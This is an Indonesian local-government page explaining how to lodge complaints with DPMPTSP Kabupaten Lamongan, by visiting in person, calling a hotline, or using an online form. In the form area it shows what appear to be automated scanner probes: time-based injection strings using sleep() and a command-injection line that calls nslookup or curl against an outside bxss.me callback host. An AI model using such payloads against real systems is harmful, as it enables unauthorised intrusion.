MEKANISME PENGADUAN

Berikut ini adalah mekanisme untuk melakukan pengaduan di DPMPTSP Kabupaten Lamongan :

  1. Melalui Offline bisa langsung berkunjung ke gedung Mal Pelayanan Publik Kabupaten Lamongan
  2. Pengaduan bisa menghubungi via hotline DPMPTSP +62 821 3131 3838
  3. Melalui Pengaduan Online, dengan mengisi form di bawah ini :

555"||sleep(27*1000)*fkymie||"

(nslookup -q=cname hitrwipeeicdbd3d87.bxss.me||curl hitrwipeeicdbd3d87.bxss.me))

555'||sleep(27*1000)*rdjssc||'

555"&&sleep(27*1000)*zptdhp&&"

555